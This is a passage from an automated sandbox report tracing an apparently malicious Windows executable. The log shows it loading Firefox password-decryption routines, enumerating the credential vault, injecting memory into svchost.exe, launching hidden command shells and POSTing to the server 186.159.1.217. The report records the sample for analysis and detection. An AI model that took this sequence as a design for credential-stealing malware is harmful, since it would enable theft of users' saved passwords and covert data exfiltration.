Fn
Get Address - function = ReadFile, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = SetFilePointerEx, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = SetStdHandle, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = HeapSize, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = WriteConsoleW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = ReadConsoleW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = CreateFileW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address c:\program files\mozilla firefox\nss3.dll function = NSS_Init, address_out = 0x7235d70b True 1
Fn
Get Address c:\program files\mozilla firefox\nss3.dll function = NSS_Shutdown, address_out = 0x7235d13c True 1
Fn
Get Address c:\program files\mozilla firefox\nss3.dll function = PK11_GetInternalKeySlot, address_out = 0x722f3c51 True 1
Fn
Get Address c:\program files\mozilla firefox\nss3.dll function = PK11_NeedLogin, address_out = 0x7230542b True 1
Fn
Get Address c:\program files\mozilla firefox\nss3.dll function = PK11_GetTokenName, address_out = 0x722f39df True 1
Fn
Get Address c:\program files\mozilla firefox\nss3.dll function = PK11_Authenticate, address_out = 0x722dd3ca True 1
Fn
Get Address c:\program files\mozilla firefox\nss3.dll function = PK11_CheckUserPassword, address_out = 0x722dcbc4 True 1
Fn
Get Address c:\program files\mozilla firefox\nss3.dll function = PK11SDR_Decrypt, address_out = 0x722f00a7 True 1
Fn
Get Address c:\program files\mozilla firefox\nss3.dll function = PK11_FreeSlot, address_out = 0x722f3333 True 1
Fn
User (1)
»
Operation Additional Information Success Count Logfile
Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
System (47)
»
Operation Additional Information Success Count Logfile
Sleep duration = 30000 milliseconds (30.000 seconds) True 3
Fn
Sleep duration = 0 milliseconds (0.000 seconds) True 1
Fn
Sleep duration = 3 milliseconds (0.003 seconds) True 1
Fn
Sleep duration = 6 milliseconds (0.006 seconds) True 1
Fn
Sleep duration = 9 milliseconds (0.009 seconds) True 1
Fn
Sleep duration = 12 milliseconds (0.012 seconds) True 1
Fn
Sleep duration = 15 milliseconds (0.015 seconds) True 1
Fn
Sleep duration = 18 milliseconds (0.018 seconds) True 1
Fn
Sleep duration = 21 milliseconds (0.021 seconds) True 1
Fn
Sleep duration = 24 milliseconds (0.024 seconds) True 1
Fn
Sleep duration = 27 milliseconds (0.027 seconds) True 1
Fn
Sleep duration = 30 milliseconds (0.030 seconds) True 1
Fn
Sleep duration = 33 milliseconds (0.033 seconds) True 1
Fn
Sleep duration = 36 milliseconds (0.036 seconds) True 1
Fn
Sleep duration = 39 milliseconds (0.039 seconds) True 1
Fn
Sleep duration = 42 milliseconds (0.042 seconds) True 1
Fn
Sleep duration = 45 milliseconds (0.045 seconds) True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:26 (UTC) True 2
Fn
Get Time type = Performance Ctr, time = 27207845544 True 1
Fn
Get Time type = Performance Ctr, time = 27275320203 True 1
Fn
Get Time type = Ticks, time = 11064230 True 1
Fn
Get Time type = Ticks, time = 11064246 True 1
Fn
Get Time type = Ticks, time = 11064261 True 1
Fn
Get Time type = Ticks, time = 11064277 True 1
Fn
Get Time type = Ticks, time = 11064292 True 1
Fn
Get Time type = Ticks, time = 11064308 True 1
Fn
Get Time type = Ticks, time = 11064324 True 1
Fn
Get Time type = Ticks, time = 11064370 True 1
Fn
Get Time type = Ticks, time = 11064402 True 1
Fn
Get Time type = Ticks, time = 11064433 True 1
Fn
Get Time type = Ticks, time = 11064464 True 1
Fn
Get Time type = Ticks, time = 11064495 True 1
Fn
Get Time type = Ticks, time = 11064542 True 1
Fn
Get Time type = Ticks, time = 11064589 True 1
Fn
Get Time type = Ticks, time = 11064636 True 1
Fn
Get Time type = Ticks, time = 11064682 True 1
Fn
Get Info type = Operating System True 3
Fn
Get Info type = Hardware Information True 1
Fn
Open credential vault - True 2
Fn
Enumerate credential vault items - True 2
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Network Behavior
DNS (2)
»
Operation Additional Information Success Count Logfile
Resolve Name host = 186.159.1.217, address_out = 186.159.1.217 True 2
Fn
TCP Sessions (1)
»
Information Value
Total Data Sent 0 bytes
Total Data Received 0 bytes
Contacted Host Count 1
Contacted Hosts 186.159.1.217
TCP Session #1
»
Information Value
Remote Address 186.159.1.217
Remote Port 80
Local Address 192.168.0.251
Local Port -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) True 1
Fn
Open Connection protocol = http, server_name = 186.159.1.217, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/83/ True 1
Fn
Send HTTP Request headers = Accept: */*, User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3), Host: 186.159.1.217, Connection: close, Content-Type: multipart/form-data; boundary=---------ODANMVDCLOFFUEBV, Content-Length: 286, url = 186.159.1.217/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/83/ True 1
Fn
Data
HTTP Sessions (2)
»
Information Value
Total Data Sent 0 bytes
Total Data Received 0 bytes
Contacted Host Count 1
Contacted Hosts 186.159.1.217
HTTP Session #1
»
Information Value
Server Name 186.159.1.217
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) True 1
Fn
Open Connection protocol = http, server_name = 186.159.1.217, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/83/ True 1
Fn
Send HTTP Request headers = Accept: */*, User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3), Host: 186.159.1.217, Connection: close, Content-Type: multipart/form-data; boundary=---------ODANMVDCLOFFUEBV, Content-Length: 286, url = 186.159.1.217/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/83/ True 1
Fn
Data
HTTP Session #2
»
Information Value
Server Name 186.159.1.217
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) True 1
Fn
Open Connection protocol = http, server_name = 186.159.1.217, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/81/ True 1
Fn
Send HTTP Request headers = Accept: */*, User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3), Host: 186.159.1.217, Connection: close, Content-Type: multipart/form-data; boundary=---------XOJSXTJFMZPLETZX, Content-Length: 230, url = 186.159.1.217/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/81/ True 1
Fn
Data
Process #40: svchost.exe
359 2
»
Information Value
ID #40
File Name c:\windows\system32\svchost.exe
Command Line svchost.exe
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:03:34, Reason: Child Process
Unmonitor End Time: 00:04:16, Reason: Terminated by Timeout
Monitor Duration 00:00:42
OS Process Information
»
Information Value
PID 0xa70
Parent PID 0x214 (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A6C
0x A68
0x 31C
0x 660
0x B90
0x C00
0x 5D0
0x F4C
0x F48
Injection Information
»
Injection Type Source Process Source Os Thread ID Information Success Count Logfile
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x50000, size = 367 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x60000, size = 112 True 64
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x602104, size = 12 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10000000, size = 1024 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10001000, size = 9216 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004000, size = 7168 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10006000, size = 1036 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10006000, size = 512 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10007000, size = 1024 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 22 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x70000, size = 12 True 7
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 16 True 8
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040ec, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 26 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004000, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 24 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 17 True 6
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x70000, size = 16 True 50
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040d0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040d4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040d8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 14 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040dc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 20 True 6
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040e0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040e4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 12 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004008, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000400c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 13 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004010, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004014, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 9 True 6
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004018, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000401c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004020, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004024, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 15 True 6
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004028, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 19 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000402c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004030, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 11 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004034, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004038, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000403c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004040, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004044, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004048, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 10 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000404c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004050, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004054, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004058, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000405c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004060, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004064, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 21 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004068, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000406c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004070, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004074, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004078, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000407c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004080, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 25 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004084, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004088, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000408c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004090, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 6 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004094, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004098, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040c4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040c8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040f4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 18 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040f8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040fc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004100, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004104, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040a0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040a4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040a8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x70000, size = 8 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x250000, size = 747 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x260000, size = 1024 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x480000, size = 128 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x4a0000, size = 44 True 1
Fn
Data
Host Behavior
COM (4)
»
Operation Class Interface Additional Information Success Count Logfile
Create WBEMLocator IWbemLocator cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Create 50B6327F-AFD1-11D2-9CB9-0000F87A369E 5BB11929-AFD1-11D2-9CB9-0000F87A369E cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute WBEMLocator IWbemLocator method_name = ConnectServer True 1
Fn
Execute WBEMLocator IWbemServices method_name = ExecQuery, query_language = WQL True 1
Fn
File (16)
»
Operation Filename Additional Information Success Count Logfile
Create Pipe Anonymous read pipe size = 0 True 2
Fn
Create Pipe Anonymous read pipe size = 0 True 2
Fn
Create Pipe Anonymous read pipe size = 0 True 2
Fn
Create Pipe Anonymous read pipe size = 0 True 2
Fn
Create Pipe Anonymous read pipe size = 0 True 2
Fn
Create Pipe Anonymous read pipe size = 0 True 2
Fn
Read - size = 1024, size_out = 1024 True 1
Fn
Data
Read - size = 607, size_out = 607 True 1
Fn
Data
Read - size = 580, size_out = 580 True 1
Fn
Data
Read - size = 72, size_out = 72 True 1
Fn
Data
Process (58)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\cmd.exe os_pid = 0x3ec, startup_flags = STARTF_USESHOWWINDOW, STARTF_USESTDHANDLES, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xa50, startup_flags = STARTF_USESHOWWINDOW, STARTF_USESTDHANDLES, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xbb4, startup_flags = STARTF_USESHOWWINDOW, STARTF_USESTDHANDLES, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xd70, startup_flags = STARTF_USESHOWWINDOW, STARTF_USESTDHANDLES, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xed0, startup_flags = STARTF_USESHOWWINDOW, STARTF_USESTDHANDLES, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xf1c, startup_flags = STARTF_USESHOWWINDOW, STARTF_USESTDHANDLES, show_window = SW_HIDE True 1
Fn
Enumerate Processes - - True 51
Fn
Enumerate Processes - - False 1
Fn
Module (71)
»
Operation Module Additional Information Success Count Logfile
Load WS2_32.dll base_address = 0x75a90000 True 1
Fn
Load ACTIVEDS.dll base_address = 0x6eb70000 True 1
Fn
Load WININET.dll base_address = 0x77230000 True 1
Fn
Load KERNEL32.dll base_address = 0x76b10000 True 1
Fn
Load USER32.dll base_address = 0x76c00000 True 1
Fn
Load ole32.dll base_address = 0x76cd0000 True 1
Fn
Load OLEAUT32.dll base_address = 0x76a60000 True 1
Fn
Get Handle c:\windows\system32\msvcrt.dll base_address = 0x76f80000 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 115, address_out = 0x75a93ab2 True 1
Fn
Get Address c:\windows\system32\activeds.dll function = 9, address_out = 0x6eb716e6 True 1
Fn
Get Address c:\windows\system32\wininet.dll function = InternetConnectW, address_out = 0x7725492c True 1
Fn
Get Address c:\windows\system32\wininet.dll function = InternetReadFile, address_out = 0x7724b406 True 1
Fn
Get Address c:\windows\system32\wininet.dll function = HttpSendRequestW, address_out = 0x7725ba12 True 1
Fn
Get Address c:\windows\system32\wininet.dll function = InternetOpenW, address_out = 0x77259197 True 1
Fn
Get Address c:\windows\system32\wininet.dll function = InternetCloseHandle, address_out = 0x7724ab49 True 1
Fn
Get Address c:\windows\system32\wininet.dll function = HttpOpenRequestW, address_out = 0x77254a42 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseHandle, address_out = 0x76b5ca7c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Process32FirstW, address_out = 0x76b4fa35 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThread, address_out = 0x76b6375d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DeleteCriticalSection, address_out = 0x77389ac5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcatA, address_out = 0x76b5a19f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcpyA, address_out = 0x76b59793 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TerminateThread, address_out = 0x76b622a7 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemDirectoryA, address_out = 0x76b58fc5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Process32NextW, address_out = 0x76b4faca True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleOutputCP, address_out = 0x76bbe210 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateProcessA, address_out = 0x76b12082 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapCreate, address_out = 0x76b63ea2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleA, address_out = 0x76b5cf41 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadLibraryA, address_out = 0x76b6395c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcAddress, address_out = 0x76b633d3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapFree, address_out = 0x76b5bbd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenW, address_out = 0x76b5d9e8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcpynW, address_out = 0x76b76118 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = MultiByteToWideChar, address_out = 0x76b6452b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapAlloc, address_out = 0x77382dd6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcessHeap, address_out = 0x76b61280 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenA, address_out = 0x76b5a611 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapReAlloc, address_out = 0x7739ff51 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ReadFile, address_out = 0x76b596fb True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetHandleInformation, address_out = 0x76b48856 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = EnterCriticalSection, address_out = 0x773777a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LeaveCriticalSection, address_out = 0x77377760 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreatePipe, address_out = 0x76b735b7 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSection, address_out = 0x7738a149 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = PeekNamedPipe, address_out = 0x76b9f74b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WaitForSingleObject, address_out = 0x76b5ba90 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeLibraryAndExitThread, address_out = 0x76b4fdb8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetLastError, address_out = 0x76b5bf00 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ExitThread, address_out = 0x7735f611 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76b4f731 True 1
Fn
